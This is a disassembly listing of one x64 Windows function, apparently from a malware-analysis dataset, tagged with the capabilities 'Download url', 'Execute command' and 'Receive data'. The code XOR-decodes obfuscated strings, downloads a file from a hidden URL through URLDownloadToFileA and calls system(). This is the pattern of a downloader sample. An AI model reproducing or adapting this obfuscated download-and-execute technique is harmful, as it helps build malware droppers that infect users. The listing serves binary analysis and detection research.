Function at 0x140166120
Capabilities:
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x1401ed060]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1401e04d0]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x48], pe_nt_image_headers64
xor r12d, r12d
mov edx, r12d
nop dword [rax]
nop dword [rax + rax]
lea eax, [rdx - 0x32]
xor byte [rsp + rdx + 0x38], al
inc rdx
cmp rdx, 0x10
jb 0x140166180
mov byte [rbp - 0x80], r12b
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14016b8f0
lea rdx, [0x14016bae0]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 7], r12
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x1f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 7], r12b
xor r8d, r8d
lea rdx, [0x1401dd0d8]
lea rcx, [rbp + 7]
call fcn.14016abe0
nop
lea rdx, [rbp + 7]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14016d2c0
mov edx, r12d
mov rbx, qword [rbp + 0x17]
mov rsi, qword [rbp + 0x1f]
mov rdi, qword [rbp + 7]
test rbx, rbx
je 0x14016623a
mov rcx, r12
lea rax, [rbp + 7]
cmp rsi, 0x10
cmovae rax, rdi
cmp byte [rcx + rax], 0x2d
je 0x14016622d
lea rax, [rbp + 7]
cmp rsi, 0x10
cmovae rax, rdi
inc byte [rcx + rax]
mov rsi, qword [rbp + 0x1f]
mov rbx, qword [rbp + 0x17]
mov rdi, qword [rbp + 7]
inc edx
inc rcx
movsxd rax, edx
cmp rax, rbx
jb 0x140166200
mov qword [rbp - 0x19], r12
mov qword [rbp - 9], r12
mov qword [rbp - 1], r12
lea r15, [rbp + 7]
cmp rsi, 0x10
cmovae r15, rdi
cmp rbx, 0x10
jae 0x14016626a
movups xmm0, xmmword [r15]
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 1], reloc.WS2_32.dll_ntohs
jmp 0x1401662e4
mov r14, rbx
or r14, 0xf
movabs rax, 0x7fffffffffffffff
cmp r14, rax
cmova r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x1401662be
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401665d8
mov rcx, rax
call fcn.1401cb970
mov rcx, rax
test rax, rax
je 0x140166553
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401662cd
test rcx, rcx
je 0x1401662ca
call fcn.1401cb970
jmp 0x1401662cd
mov rax, r12
mov qword [rbp - 0x19], rax
lea r8, [rbx + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 1], r14
mov qword [rbp - 9], rbx
mov dword [rsp + 0x30], 0xb4a8aae0
mov word [rsp + 0x34], pe_nt_image_headers64
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x32]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x140166300
mov byte [rsp + 0x35], 0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rbp - 0x79], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], 0
mov r8d, 4
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14016abe0
nop
lea r9, [rsp + 0x38]
mov r14, qword [rsp + 0x38]
mov r13, qword [rbp - 0x79]
cmp r13, 0x10
cmovae r9, r14
mov r12, qword [rbp - 9]
mov rcx, qword [rbp - 1]
mov rax, rcx
sub rax, r12
mov r15, qword [rsp + 0x48]
cmp r15, rax
ja 0x14016639f
lea rax, [r12 + r15]
mov qword [rbp - 9], rax
lea rbx, [rbp - 0x19]
cmp rcx, 0x10
cmovae rbx, qword [rbp - 0x19]
lea rcx, [rbx + r12]
mov r8, r15
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + r12]
mov byte [rax + r15], 0
jmp 0x1401663b9
mov qword [rsp + 0x20], r15
mov rdx, r15
lea rcx, [rbp - 0x19]
call fcn.14016ca50
mov r13, qword [rbp - 0x79]
mov r14, qword [rsp + 0x38]
cmp r13, 0x10
jb 0x1401663f3
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1401663eb
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401663eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1401cbdf0
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rdx, qword [rbp - 0x19]
mov r8, qword [rbp - 9]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14016d4d0
lea rdx, [0x14016bae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae r8, qword [rbp - 0x19]
movdqa xmm0, xmmword [0x1401e0480]
movdqa xmmword [rbp - 0x69], xmm0
movdqa xmm1, xmmword [0x1401e04a0]
movdqa xmmword [rbp - 0x59], xmm1
movdqa xmm0, xmmword [0x1401e0450]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm1, xmmword [0x1401e0430]
movdqa xmmword [rbp - 0x39], xmm1
mov dword [rbp - 0x29], 0x747e6662
mov dword [rbp - 0x25], 0x7975752f
mov dword [rbp - 0x21], 0x1007265
xor r14d, r14d
mov ecx, r14d
nop
lea eax, [rcx - 0x32]
xor byte [rbp + rcx - 0x69], al
inc rcx
cmp rcx, 0x4a
jb 0x140166480
mov byte [rbp - 0x1e], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rbp - 0x69]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1401e0470]
movdqu xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x48], 0xc193acbb
mov dword [rbp - 0x7d], 0xc59d8d83
mov dword [rbp - 0x79], 0x91828d
mov byte [rbp - 0x75], 1
mov r8, r14
nop word [rax + rax]
lea eax, [r8 - 0x32]
xor byte [rsp + r8 + 0x38], al
inc r8
cmp r8, 0x1b
jb 0x1401664e0
mov byte [rbp - 0x75], r14b
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14016b8f0
lea rdx, [0x14016bae0]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x14016655f
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14016655a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14016655a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401cbdf0
mov qword [rbp - 9], r14
mov qword [rbp - 1], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x19], 0
cmp rsi, 0x10
jb 0x1401665a9
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1401665a1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401665a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1401cbdf0
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1401cb950
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140164540
nop
int3